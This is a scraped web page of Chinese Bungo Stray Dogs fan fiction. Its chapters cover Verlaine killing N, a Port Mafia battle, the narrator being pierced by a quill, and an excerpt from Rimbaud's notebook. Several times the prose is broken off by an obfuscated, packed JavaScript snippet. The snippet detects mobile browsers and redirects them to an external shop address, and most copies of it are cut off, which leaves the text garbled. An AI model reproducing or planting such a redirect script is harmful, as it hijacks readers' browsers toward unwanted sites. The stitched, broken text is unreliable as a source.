“才不是那样首领!”中也的声音同时传来,即使被我捂住也发出了闷闷的声音,“是副首领她太过分了啊,完全在歪曲事实!” “哈,那你还打我?” “我不是故意的,你太过分了!” “说这么多也没用,今天敢打我明天就敢打首领,我要开除你!” “......首领您看!” 森鸥外:...... **** 我觉得自己行使副首领的权力并不过分,但身为首领的森鸥外似乎不这么想。 罢了。首领就是首领,副首领就是副首领,只差一字就要低人一等,低人一等就要俯首称臣。这场污蔑惨败......啊,是天大的委屈,我认了。 就是中也这一下打得真的好用力啊!以至于我碰见逃命的N和他身后的魏尔伦时,被打的地方还隐隐作痛。 “喂,你,你快救我!”N大叫着躲在我身后,我还没反应过来就被魏尔伦一拳击飞了出去。 ......好了,这下脑袋倒是不痛了,就是我全身都辣辣的,感觉自己的器官进行了一个名叫自动分解的活动。 好恶心! 我趴在地上不断呕吐,吐出的血沫里掺杂着内脏碎片,眼泪不可抑制地从眼角滑落。 竟然拿我当挡箭牌吗?真是该死啊N这家伙! 罪魁祸首凭借着走位来回闪躲,就像山里灵活的狗。 我撑起身子,看准时机用力踹了他一脚。 魏尔伦的第二拳砸进墙壁。一刹那,墙壁变成粉末簌簌落下。 可恶啊,更气了! 许是我这阴差阳错救了N一命的一脚让他对我产生了什么误会,他又胆战心惊地跑向我的身后,催促着我赶快起身。 “快起来你快起来,魏尔伦要来了......” 真的是是可忍熟不可忍啊。 我发动异能【悬壶救世】,然后起身,深深地叹了一口气,微笑着看向N。 对方露出毛骨悚然的表情,鼓起勇气问道,“你,你要干嘛......啊!” “去死吧你这个混蛋!”没等他说完,我就照着他的脸来了一拳,看着对方鼻血直流接连后退的样子,愤怒大喊,“拿我当挡箭牌,你个不要脸的东西!你知道那一拳有多疼吗?” 越说越来气,我盯着呜咽的N ,对着他又来了一脚。 魏尔伦收拳,讽刺地笑着,看向这边,“连这点理智都没有吗?这种家伙也值得你去救吗?” 我挠挠头,“欸?那倒不是——” “你不能杀我。我知道你的秘密,我死的话,你就会错失它。”N持续叫嚣着打断我的话,语气却格外冷静,和刚才相比简直就像换了一个人。 魏尔伦的脸上闪过一丝不耐,“这样的话,你已经说了第二遍了。” “你在害怕。”N还在不断输出,“你的体内沉眠着一只恶魔,和中也不同,你体内的恶魔是由另一个异能者创造的,而现在的你,亲手杀了那个创造主,所以你永远也不会知道它的事情,你害怕它的出现。” “我有灵魂。”魏尔伦低吼着,房间受冲击开始摇晃。 这一刻,N的表情出现了裂纹,“......什么?!” “它早就出现了,在我的体内,以创世主的名号。”魏尔伦的声音里带着残忍,“所以,你活着对我来说没有任何意义。” 魏尔伦伸出手,在N惊慌的眼神中攥住他的脖子。 “不可能......”N呜咽着,声音像碎掉的瓦砾,“这不可能......你是怎么做到的?是谁......谁赋予了你的灵魂?” 我在旁边抬头望天——花板。 魏尔伦没有回答他,连眼睛也不眨一下。 N的挣扎幅度越来越小,因为脖子上的那只手是能将一切都压碎的超重力。就在被碾碎的前一秒,N像是想起了什么,眼睛动了动,瞥向我这边。 ——原来是你。 濒死之人的眼神传递着这样的意思。 ——竟然是你。 濒死之人想说这样的话。 但魏尔伦没有给他机会,只是合上手指。 那一瞬间,N的最后一声呜咽被扼杀在喉里,他的嘴唇颤抖着,像搁浅的鱼,浑身抽搐了几下后,再也没有了声息。 一切尘埃暂定,金发男人松开手,毫不留恋地转身离开。 “魏尔伦!”我开口叫住他。 男人没有转身,却停下了脚步,似乎等待着我再次开口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213919|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是阿蒂尔·兰波吗?”我这么问着,心里却有了答案,“我的意思是,住在你体内的那个灵魂,是死在几年前的黑-手-党成员,兰堂大哥吗?” 时间流逝着。一秒、两秒。魏尔伦没有说话,也没有动作,只是沉默地站在那里。 就在我以为要这么僵持下去的时候,余光中瞥到了一个急速飞过的黑影。 “啊,杀手大人啊,”我耐心地提示道,“蹲下比较好。” 然后我一边这么说着,一边飞速下蹲。 下一个瞬间,瓦砾如同炮弹一样飞了过来,打在魏尔伦用来抵挡的手臂上。 “你在干什么,副首领!”饱含怒气的声音从天而降,“伤没好就要去送死吗?” “欸——你是在关心我吗,中也?” “啊呀中也,你身上的伤也不少啊。”另一个声音从左后方传出,“没能抓住副首领的把柄,真是遗憾啊。” “......你迟到了,太宰。我要扣你工资。” “喂!他们在那里!”又一道声音,从前方传来的,还有第二道,“中也大人!霜枝小姐!” “亚当。”我顺着声音的来源看过去,“......还有白濑,你身上好脏。” “你懂什么!这可是我再一次拯救中也的证明!”白濑手舞足蹈地描述着,“我可是从一堆会动的白骨中拯救了中也!” 场上这个情况很明显了。 全员到齐。 魏尔伦双手插兜,静静地站在中间。 “真是有意思。”随后他像是放弃了抵抗,没厘头地看向白濑说道,“总之,在此之前,完成我的心愿吧。” “什么?”后者一脸警惕,随后抬起眼,看看我,又看看中也。 中也板着脸。 我伸手在兜里掏出一张车票,递给魏尔伦,解释道,“这是森鸥外的车票,明天八点,你会来吗?” 对方接过车票,说道,“听完我想听的话,自然会来。” 这就是答应的意思了,我点头,冲亚当招招手,然后朝着相反的方向离开。 过了一会,身边传来第二个脚步声。 “为什么要离开?”亚当这么问,语气里带着好奇。 我边走边回答,“接下来的时间是属于他们之间的。” “魏尔伦和中也大人吗?” “是魏尔伦和白濑,”我想了想,补充道,“还有太宰。” 话音刚落,亚当身旁出现了第三个脚步声。 中也双手插兜,一脸轻松的样子。 “别以为我会放过你。”中也这么说着,眼睛却看向前方,“当然,还有太宰,这些帐等我以后和你们慢慢算!” “真是辛苦了,中也。身上脏脏的,和白濑一个样呢。” 赭发少年笑了。 “脏死了。” “脏死了。”我重复了一遍。 “确实,脏死了。”亚当不明所以地跟着我重复了一遍,随后说道,“虽然这件事发生的概率低于百分之一。” “你们两个,”中也握紧拳头,声音带着忍耐,“想挨打吗?” ...... “森鸥外!中也这次因为一句话又打我!”我抱着手机大喊,“还打了亚当!” “......中也?!” “首领!明明是副首领她太过分了!” “哈,你就会说这一句话!” “中也大人,霜枝小姐!你们不要再打了!” 远在他乡的森鸥外:...... “年轻人。”森鸥外这么说着,打开了免提,“真是有活力啊,红叶。” 在他对面,红发女子看过来,用袖子遮住下半张脸。 “首领要惩罚他们吗?” “有待考虑。” 气氛一下子安静下来,紧接着,电话那头爆发出巨大的吵闹声。 “哈?!惩罚?要惩罚的话就罚中也吧!他可是大我两岁啊!” “我要抗议!” “抗议无效!我单反面就能驳回!” 尾崎红叶和森鸥外对视一眼,嘴角弯起弧度。 电话那头依旧吵吵嚷嚷,而在这片吵闹中,一个电子合成音格外突出。 是亚当。 “中也大人,霜枝小姐!”计算机的声音里满是慌乱,“你们不要再打了啊!” 23.关于尾声(1) 第二天—— “魏尔伦怎么还不到?马上七点四十四了,啧,他总不会要卡在这个不吉利的点再出现吧?”我若有所思道,“除非他已经看透了我那精彩绝伦的计划。” “等等,哪里精彩?”中原中也忍不住开口问道,“你说的不会是递给魏尔伦车票这件事吧?” 我理所当然地回答,“对啊!我邀请魏尔伦来赴死,他最后答应了啊。” “我已经不知道该如何吐槽了......亚当,你替我来说!” 计算机站得笔直,语气里充满敬佩,“真诚永远是最后的必杀技,本机和中也大人受教了。” “不!我根本没有这个意思!你不要带上我!” “欸?可刚刚中也大人却要本机替您说......” “我收回刚才那句话!” “呀吼,副首领!”太宰趁机挤到我身边,浑身轻松的样子问道,“你怎么确定魏尔伦一定会来的呢?” 我被问得一愣,随即开始思考起来。 其实我也不确定这个问题的答案,但冥冥之中,我能感受到此时的魏尔伦已经不是刚来日本时的他了。从实验室出来后我跟我妈聊了很久,最后一致认为之所以会变成这样,是因为他体内出现了兰波的灵魂。 顺道一提,魏尔伦还请求我和他一起把那里夷为了平地。 可能这就是程序之间的默契吧。 所以他才会这么坦然地接受我的骗局。 我想了想,对太宰治说道,“他答应我了。” “没了?” “没了。” 太宰治没有追问,完全没有了刚才活力满满的样子,颇为遗憾地叹了口气。 我此刻决定离他远一点。 事实证明,我这个决策十分正确。 就在我和太宰治拉开距离的一瞬间,一颗石子朝着这个方向飞来。 是魏尔伦,我低头看了眼手表,屏幕上显示的数字刚好是四十四分。 啧,这个不吉利的数字。 太宰没有动,回应这道攻击的是港口Mafia的首领(伪装版)——也就是广津柳浪。 异能产生的强大排斥力将石子吹飞了。 “啊,老爷子!”我高兴地跟对方打招呼。 这个时候还不忘记自己的伪装任务,真是太敬业了啊! 所以我要不要拟一份港口Mafia最佳员工名单呢? “副首领大人。”对方冲我微微弯腰以示敬意,而他身后的太宰治仍是一副十分冷淡的样子,有种这世间的一切都与我无关的装感。 但接下来他就装不下去了。 因为比他更装的魏尔伦出现了,月光笼罩在不远处的修长身影下,随着他的走动,漫天的石子朝着我们飞来。 黑-手-党雇佣的异能者在此刻站了出来,这名名叫卡莲的女子伸手进行抵挡,呼出的白气将石子包裹。 石子们叮叮当当地落在树枝上,落在泥土里,落在树木间。 “还没有完。”太宰治看着远方,对我说道,“真是抱歉啊,副首领,计划有变,所以预算要比原定计划高出七个百分点。” 我肉痛地捂住心脏,“知道了,审批会通过的。” 周围的大地开始液化,山谷像蛇一样蜿蜒着冲向魏尔伦。 “真是好久不见了,小鬼。”豪迈的声音从头顶传来,紧接着后背被人拍了两下,“你的个子还是这么矮啊。” 是港口Mafia的唯二的干部,大佐。 “大佐叔,竟然把你请回来了。”我咽下口里的老血,忍痛说道,“我觉得这句话更适合中也,还有,可不可以不要再攻击我了。” 原因无他,大佐叔的体格十分健硕,藏在森林里都能让人错认成千年古树。 “哎呦,年轻人啊,就是为了给大叔我寻乐才存在的。”(1)他哈哈大笑着,举起粗壮的手臂,在空中用力握了一下手掌,大地蠢蠢欲动了起来,连同地面上的一切都被液化,一起冲向魏尔伦。 我趁这个间隙,抓住太宰治的肩膀质问道,“什么情况?你请了多少异能者?” “算上组织内的人,总共二十八名吧。”太宰治回答道,“副首领请看,远处正在持续监控目标的是空间系异能者,低空中飘荡的绿色雾气是毒系异能者,更不用说枪-击、斩击、闪光和超声波。异能者团体往往要比异能者更为强大。(2)” 他拍了拍我的手,指向被迫停留在空中的魏尔伦,“当然,在这之中还有一位异能者最为难请,我可是许诺了他三倍的奖金......小枝你对这个能力再熟悉不过了吧?” 太宰指向的那个方向。我瞪大双眼,不可置信地看向那里。 夜空中,飘着一枚金色怀表。 “是操控时间的异能者哦。”太宰治笑着解释道,“和您一样。” 轰得一声,液化巨石被魏尔伦砸在地上,就像太宰的话砸向我一样。 我双手用力,在心底盘算着捏死对方的可能性。 虽然这是不可能发生的事,我也知道以现在的状态根本做不到。 要承认吗?不,我想,这样的话会连累到我妈。 那如果不承认呢?不,也不行,我想,太宰治这家伙又不是傻子。 而且这个样子,会不打自招的。 可对方笑嘻嘻的样子实在是太欠打了啊! 我闭上眼。 恰在此时,脑海里传来我妈的声音,她呼唤着我的名字,声音很小,却也格外清晰。 “小枝?” 再睁眼时,太宰的笑容已经消失了,取而代之的是一片金光,我眨眨眼,反应过来自己是被拉进了里空间。 拉我进来的就是我的老妈,我咽了咽口水,垂头丧气地叫了她一声。 我妈飘在空中,语气十分严肃地质问道,“你在害怕什么,小枝?” 我张了张嘴,吐出几个音节,“我的异能,是不是已经暴露了?” 我妈的语气软了下来,“这很重要吗?” “当然重要!虽然我一直在小心翼翼地隐藏着,但我发现自己根本离不开异能!”我急促地说道,“一旦暴露的话,到那时你怎么办?你会不会再被抓进去进行什么残暴的实验之类的......更惨一点的话,就像中也那样被作为实验原型呢?” “不会啊。”它几乎是毫不思考地回答了这个问题,“根本不会,你为什么会有这样的想法?” “......啊?”这一下倒是把我弄懵了,因为以前这种情况老妈都是顺着我的想法去说,而不是这样回答...... 我眼神一下子冷了下来,大喊道,“你耍我?” “耍这个字用得不是很准确吧?”我妈淡淡地开口,“只是觉得你这个样子很可爱呀。” 可爱个头啊!你知道我有多努力吗?!虽然在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217188|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过程中也用了真正的异能,但最后都被我打哈哈蒙混过去了啊!就是漏洞有点多来着...... “那你还让我在森鸥外面前隐瞒自己的异能!”我还因为这个对那个老登有些小愧疚来着! “这就跟你买东西是一个道理嘛,你想想为了方便而买的扫地机,偶然间发现它还有做饭和上色的功能,你难道不惊喜吗?” “我总感觉你这个比喻怪怪的。” “道理是一样的啦,不要在意这些细节。” 在我妈的解释下,我最终接受了这个说法。我妈进一步对我解释道其实我的异能暴露和它的存在根本沾不上边,当然,跟我俩的关系也沾不上边。 因为和时间有关系的异能者不止一个,而我因为特殊存在的缘故是最全面的哪一个。 退一步讲的话,就算这些真的暴露了,异能者们也找不到我妈,相反的是,他们只会把目光放在我身上。 用我妈的话来说就是与其担心它还不如多想想自己。 我的心情有些复杂,有种自己劳心劳力写完某项作业却发现根本没留的感觉。 我妈继续补充道,“更何况,现在已经没人知道这些事了。” 是的,因为作为知情者的村濑两兄弟已经死了。 “所以,根本不用担心这些。”里世界消失的前一秒,我听见我妈温柔地说道,“小枝,放手去做你想做的事情吧。” 我再睁眼时,看着太宰治那张脸,只觉得一身轻松。 然后,在对方胸有成竹的眼神里,我释怀地笑出了声。 太宰对我的反应有些意外。 我则是拍了拍他的肩膀,一脸欣慰地说道,“你是第二个知道这件事的人。” 太宰好奇地问道,“第一个是谁?森先生吗?” “不,”我故作神秘,“是医生。” “啊——”太宰治失望地叫了一声,又变回兴致缺缺的样子了,“看来我和中也的打赌输掉了啊。” 怎么把这个家伙忘记了! “等等——”我立刻警觉起来,“什么意思?中也也知道这件事?你们为什么打赌?” “为了决定这张黑卡的去处啊。”太宰治边说边掏出一张卡,上面刻着它真正主人的大名,“那家伙当然不知道啦,再说他也不符合作为人类的要求嘛。” “这件事中也知道吗?”我想了想,认真补充道,“我说的是你拿走他的黑卡并和他打赌的事。” “不知道。” “哦。” 果然在意料之内呢。 就在我们谈话的时间,战场那边悄然发生了变化。 飘在空中的魏尔伦停止了回击,在月光的笼罩下,悲悯地俯视着大地。 然后,口中念念有词。 风在此刻停了下来,树林的喧嚣也到此为止。 我看向对着无线电叫喊着的太宰治,此时他的声音也被一同吞噬了。 “去避难!”太在这么喊着,“所有人快去避难!” 然后他抬头,和我对上视线。 “要来了吗?”我眨眨眼,眼神中传递着这样的话。 黑发少年用眼神回答了我。 他也眨眼,在这一片虚无中,我看见他的睫毛像两片落在废墟上的羽毛,轻轻颤抖着。 “要来了。”他的瞳孔里倒映着我的眼睛,折射出一片天地—— “‘门’,被打开了。” 24.关于尾声(2) “门”被打开了。 这是天大的好事,因为它代表着【圣杯】已经达到了可以使用的条件。 同时,这也是天大的坏事。因为它带来了更多的死亡、鲜血、分离与悲鸣。 不久前,【圣杯】发出哀鸣。 用中也的话来说,这是它在呼唤,所以二者先行离开。算算时间,此刻他们应该已经抵达横滨上空,预备着最后一击。 二者会带着【圣杯】从飞机上下落,在触碰到目标时将其封印。 所以,黑-手-党要做的事情就是不断吸引魏尔伦的仇恨,为中也争取时间。 战斗小队没有人对此不满,即使他们会被黑球吞噬,悄无声息地拥抱死亡。 而这一切的目的也仅仅是为了争取那一秒的时间而已。 残虐,并且崇高,这是可以交付后背的同伴们。(1) 我盯着手机屏幕,聊天框里只有一条孤零零的未读信息,是亚当发来的。 “已准备就绪。”他这么写道。 然后,就像是潮汐涨落,四季更迭,我妈的话在耳边响起。 小枝,放手去做你想做的事情吧。 ——我想做的事吗? 我望向窗外的黑球和穿着黑色作战服的战斗小队。 天是黑色的,和它一样,地也是黑色的。 我想做的事情,就是让那片黑色在未来的某一天,变成彩色。 “喂——太宰?”我环视一周,搜寻未果后不断呼唤着太宰的名字。 “所有人——”太宰的声音从头顶传来,我抬头,发现黑发少年此刻正站在车顶上大声叫道,“趴下!” 车厢外的异能者们开始撤退,黑球越来越大,我和广津柳浪对视一眼,趁机把太宰治拽了下来。 三个人摔在地上。 “真是的,这又是什么新型的自-杀方式吗。”我起身拍拍衣服,心有余悸地喃喃道,“什么时候跑到车顶上的?老爷子你有看见吗?” 广津柳浪摇摇头,“并没有,雪奈大人。”紧接着用有些胆怯的声音问道,“现在是什么情况?” “藏在‘门’那边的东西跑出来了,就像几年前的镭体街或者几天前的中心街道一样。”太宰拉着我的手借力起身,面色僵硬地说道,“目前为止都和预想的一切一样,副首领,我们要开始反击了。” “可以。”我在对方的目光中缓缓点头,“不过,我刚才已经下令让所有战斗成员撤离了,我想到了更好的办法——可以让黑-手-党损失最小化的,办法。” 太宰治和广津柳浪沉默了下来,前者若有所思,后者则是态度强硬地反驳道,“您要自己上?不行,这太危险了!” 而黑发少年与广津柳浪的反应截然不同,他盯着我,语气十分冰冷地问道,“你有几成把握?副首领,您要明白,您的性命远远在那些人之上,如果失败了,我们会付出更惨痛的代价。” 很残酷,却也是现实。我想了想,决定这么回答他的问题。 “我有着永远不给你报销螃蟹的把握。” 黑发少年在此刻露出一个笑容。 “如您所愿。”他一边说着,一边和广津柳浪朝我行了个礼。 “如我所愿。”我一边想着,一边推开了车厢门。 **** 与此同时,横滨上空,一架小型螺旋桨飞机正在飞翔。 “中也大人!我们可以进攻了。”摁灭雪奈大人的聊天框,亚当大声叫道。 “知道。”坐在后排的中也深吸一口气,“我时刻都在准备着,亚当,你呢?” “和您一样,时刻准备着。”亚当摁下弹射按钮。飞机在此刻倒转着解体,二者的座位像炮弹一样冲向黑色的球体。 一望无际的黑色,神秘、寂静、残忍。 打破这一现象的是,凭空出现的那一抹白。 中也眨眨眼。 **** “【汝之憎恨——汝之麻木——汝之绝望——】(1)魏尔伦,我在这里!”我挥动手臂,大声呼唤着,同时发动异能【未来福音】预测着黑球的攻击轨迹,一次次进行着躲避。 受伤也没关系,哪怕是致死伤我也可以恢复过来。当然,这要感谢我的另一个分支能力——【悬壶救世】 这么一想,我才是那个最适合牵制魏尔伦的人选来着。 “第三十七个。”我妈默默地在脑海里计数,过了一会,它又轻声说道,“弹道偏左,这是第三十八个。” “也没有很难吧,老妈。”再一次死里逃生后,我看向处于暴怒边缘的怪物笑着说道,“就是每次都要喊这个口号,我的嗓子都哑了。” “没办法,只有这个最能吸引魏尔伦的注意力。”我妈停顿了一下,继续说道,“不过现在这个样子已经和魏尔伦沾不上边了。” “兰波目前会是什么状态呢?”我停下脚步,望着乌泱泱的天空,突然开口问道。 我妈的语气里带着些无奈,“我哪知道......你注意点,第三十九个黑球来了,比上一个快了百分之十五。” “完了,有点棘手了。”我站在所剩无几的山坡上,朝对方竖起中指,“你就这点能耐吗?” 黑色的怪物在天空中咆哮着,震碎了月亮与无数的星星。 我喃喃自语,“嗯,好像更生气了。” “它能听懂人话吗?”我妈语气仍旧淡淡的,“第四十个要来了......欸?” 它小小地惊呼了一声。 “怎么了?”我发动异能,朝着和黑球相反的轨迹跑去,期间回头看了一眼。 只这一眼,唯这一眼,便让我陷入了万劫不复之地。 **** 坠落的速度撕裂了空气。 中原中也的耳边全是风声,像一万只恶鬼在尖叫。重力包裹着他和亚当的身体,拖着他们向那团黑球砸去。 “就是现在,中也大人!”亚当大声呼唤着,打开胸腔。【圣杯】从里面浮起,自动飞到赭发少年手中。 触感还是温热的。 “哦哦哦哦哦哦啊啊啊啊啊——”中也大声叫喊着,全力发动异能,重力与【圣杯】融为一体,像是两条奔流的长河一同涌入同一道谷底。 前方,黑色的能量体像剑一样朝他们刺来。 太快了,这速度。 连残影也没有,连看见也是一种奢侈。中原中也改变方向,试图强行用重力将其击回。 就在那道能量体即将触及中也的身躯之时,它猛地弯折,像是撞上了同级的磁铁,擦着脸砸向地面。 ——轰。 地面坍塌了,碎石和尘土一同被吸入黑球内,融化了一切。雪奈的身影一闪而过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我说的“谁”不是中也亚当,也不是魏尔伦。而是这个从脖子上的项链里、从铜黄色弹-壳里飞出来的,“人”。 不,这家伙根本没有“人”的样子,更确切地来说,它只是一个圆柱体。 随后,圆柱体开始不断缩小、再缩小,最后进化出尖尖头和修长的羽毛。 “躲开,小枝!” 我妈惊慌的声音在脑海里炸响,但这一切都已经晚了,进化的羽毛笔猛地变大,比山谷高,比古树粗,比非人化的魏尔伦大,然后——猛地刺入我的胸膛。 也就是这时,我想起了临死前的N。 他当时看过来的方向,似乎就是我脖子上的这条项链。 这条作为刑警先生的遗物、作为实验室残影、作为一切起源之地的铜黄色银链。 “可恶......”我呜咽着开口,就像N临死前一样不甘,最后只化为几道叹息。 “被摆了一道啊......N这家伙。” 随后,一片黑暗。 25.关于尾声(3) 剧痛比视觉先行到达。 中也抱着【圣杯】,承受着闪白视野带来的刺痛,任由重力将自己砸落在地。 胸腔里的心跳声一重一慢,中也陷入了恍惚。 魏尔伦的心跳和他共鸣。 然后,中也听见了另一个声音。 “中也大人——” 是亚当,计算机将中也拽回现实。 “那是雪奈大人吗?” 与以往不同,计算机的电子音里充满了慌乱与惊恐,这样的异常让中也回神,顺着亚当手指的方向望过去。 世界在这一刻被抽走了所有力气。 雪奈垂着头飘在空中,四肢无力地耷拉着,看不出一点活着的气息。她的头发依旧飘扬,在夜空里格外耀眼。 中也向下看去。 一支羽毛笔。 或许那不能被称为羽毛笔,只是一根巨大的白色羽翎,从她的背后贯穿而入,笔尖穿透胸膛,带着温热的血,悬停在空中。 一滴,两滴。 血珠沿着笔尖滑落,砸向大地。 而在雪奈身前,一本巨大的书正缓缓展开。 书页是空白的,白得刺眼,仿佛吞噬了一切光亮。那支贯穿她的羽毛笔正以一种残忍且不可阻挡的节奏,在书页上移动。 笔尖划过纸面,在生命的尽头,写下不属于人类的语言。 中也被这副景象震惊得说不出话来,只感觉到胸腔里的心脏突然抽紧,和魏尔伦的一起。 咚,咚。 一声又一声,震得他头皮发麻。 中也第一个想到的就是魏尔伦,然后是N。两者的区别是一个刚刚死亡,而另一个已经死了很久了。他不知道为什么会出现这样的变故,他只知道那支笔还在动。 在书页上,用对方的血,还在写着什么。 与此同时,中也眼尖地发现每写一笔,雪奈的身体就微不可察地颤抖一下,像一具被掏空的躯壳,还在承受着某种不该承受的,属于生者的痛苦。 她还活着。 中也猛地反应过来,下意识看向亚当,后者也露出“您也发现了”的神色,低声说道,“那个项链有问题。” 短短几个字让中也想起了什么,看向手里的【圣杯】 “副首领说过,魏尔伦身上隐藏着【温柔森林的秘密】,知道怎么打开它的只有N一人。”中也的声音十分冷静,不知道是说给自己还是亚当听,“副首领还说过,她被抓紧实验室和我无关,是她自己的问题,而这个问题的解决还要多亏了......刑警先生。” 亚当的声音里带着不可置信,“所以,是刑警先生欺骗了雪奈大人吗?” “不。”让人意外的是,中也毫不犹豫地否定了这个答案,“我认为,是N欺骗了刑警先生,从而骗过了雪奈。” 他抬头,握紧手中的【圣杯】,“这是在逼我们做出选择,在打开【魔兽Guivre】和雪奈之间做出选择。” “混蛋玩具。”中也垂眸,“我该怎么做?” 亚当反问道,“我想您已经有了答案。” “是的,我已经有答案了。” 中也一边说着一边举手,将手里的【圣杯】用力掷了出去。 终焉降生。 **** 兰波手记·节选 口口年12月12日,天气晴转多云,记录者口口口,间谍口口口,口口 我其实不是很喜欢这个天气,因为厚重的云层总让我想起昨天在实验室里发生的事情。 那是一段我和搭档都不愿意谈及的经历。我和搭档差点丧命于此,同时我也见证了不可思议的一幕。 特异点也能导致诱因共鸣吗? 我这么想着,写下了这个问题。 或许以前的我连题目都读不懂,而经历了这件事的我,只会心有余悸地写下它的答案:是。 要怎么来讲述这件经历,我想了想,打算以“今天的任务”作为开头。 (几行模糊的字迹,无法辨认。) 执行这个任务的只有我和魏尔伦,我们伪装成士兵冲进面前的房间。 房间里有两个连接地面与天花板的圆形容器,里面装满了不知名的透明液体。 容器前面站着许多研究员。 这就是我们的目标,他们手里的研究资料是我们此行的目的。我和搭档对视一眼,在对面惊慌失措的叫喊声,和其他人一起举起枪。 叮叮——当当—— 为首的队长对我们下达了新命令,“摧毁这里的一切,什么都不要留下。喂,你俩,对,就是你俩来做。” 他说的“你俩”正是我和魏尔伦。 我们可怜的队长还不知道,这个决定会让他后悔终生。 我和搭档默契地上前,然后转身,将枪对准其他人。 “这是什么意思?!”队长愤怒地大喊道,“要造反吗?!你们两个,难道忘记自己身上穿的是什么了吗?!” 我当然不会忘记,我们身上的制服与头盔都是防弹的,子弹对此毫无作用。但队长也似乎忘记了不止子弹才可以杀人,尤其在一个充满异能者的世界里。 搭档魏尔伦动动手指。 其他人便如失去了骨头一般,一个个倒在地上,毫无声息。 按照以前,任务在这里就算完成了。可谁也没有想到,意外来得措不及防。 我几乎是硬着头皮写下了这些话。 圆形容器里的液体开始沸腾、翻涌,在我面前活生生变成了两个怪物。 我不知道该如何描述他们,我只知道,这两个怪物,一个又细又长,一个板板正正,侧方带着不知名球体。搭档第一时间挡在了我的面前,冲它们发起了攻击。 然后,后悔的人就变成我们了。 细长的怪物变成了猛地刺向球体,在我们惊恐的视线里,触碰到另一个怪物身上。 现在细想来,那个动作有点像我现在做的事情。 ——写。 是的,当时的两个怪物在做的就是这个事情。我看不懂他们写了什么,这些恶心的文字一看就会头晕眼花。身为特工的第六感告诉我此刻应该马上逃跑,远离他们,远离这座实验室。就在这时,异变突生。 我的搭档发出了非人般的怒吼,吞噬了周围的一切,包括那两个怪物——不,应该说是除了那两个怪物。圆形容器、实验试剂、桌子凳子、还有我们这次的目标资料,都被魏尔伦吞噬了。 我陷入了巨大的恐慌之中,因为我知道这是【魔兽Guivre】即将被打开的结果,可为什么?为什么会出现这样的情况?为什么在这个时候? 我不能让魏尔伦变成那个样子,因为这种情况下我俩都会小命不保。我知道阻止【魔兽】的毁灭性需要【污浊】,可我却心有余而力不足。 我陷入了绝望,身体也软绵绵地塌了下去,我知道自己接下来面对的是什么。 是死亡。 世界上最公平的事情,死亡。 我开始不断祈祷。 或许是我的诚心感动了上帝,就在搭档变成【魔兽】的前一秒,那两个怪物开始发力了。奇怪球体不断旋转着、旋转着,狠狠砸在魏尔伦的额头上,发出清脆的撞击声。 被砸的搭档停止了异变,陷入了昏迷。 和奇怪的球体一样奇怪,事后我问起此事,搭档像是失去了所有有关这件事的记忆。 而那时的我得救了,救我的人不是上帝,是这个小怪物。 我如愿拿到了那些资料,虽然不全,但在整个实验室都莫名消失的情况下还有残留已经是谢天谢地了。 我将那些资料反复研读,最后也不知道那两个大怪物和小怪物是什么,倒是发现了另一个有趣的事情。 两个数相加等于一个和数。 所以两个特异点相加可以引发出一个意外之中的整体特异点,我给它命名为诱因特异点,也叫共鸣特异点。 那么根据这些推测,如果想要击败诱因特异点的话,是不是需要这两个特异点合力呢? 这个结论还有待证明。 (手记保存的最完整的一篇文章,位于第二名的是一篇标题名为“庆生”的文章。值得一提的是,“庆生”是手记的最后一章,在这之后,什么都没有记载。) **** 我在一片嘈杂声中睁开双眼。 “醒了呀,小枝。” 森鸥外的声音。 不是伪装的,是我的老父亲,港-黑首领森鸥外本人的声音。 我倏地坐了起来。 然后对上了一双紫色的双眼。 在那一瞬间,我满腹委屈,泪如雨下:“你这家伙怎么在这里?什么时候回来的?我已经连这个都不配知道了吗?!” “嗯......这个样子像是受了委屈想找人安慰的小孩子模样呢。” “去你的!才没有!” “乖孩子不要说脏话哦。”一支手覆上我的头顶,我立刻擦掉眼泪,摆出一副乖巧的样子,小声说道,“......红叶姐,你也在啊。” 红叶姐满脸慈爱地说道,“是的,我一直都在哦。” 我尴尬地挠挠头,“哈哈......这个样子嘛。” 可恶!森鸥外这个心机男!想破坏我在红叶姐心里的乖巧形象吗?! 森鸥外换上了一副严肃的语气,开口说道,“这次是听说了你的事才回来的。” “欸?”我有些受宠若惊,这才发现自己身处首领办公室内,身下是森鸥外的小沙发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 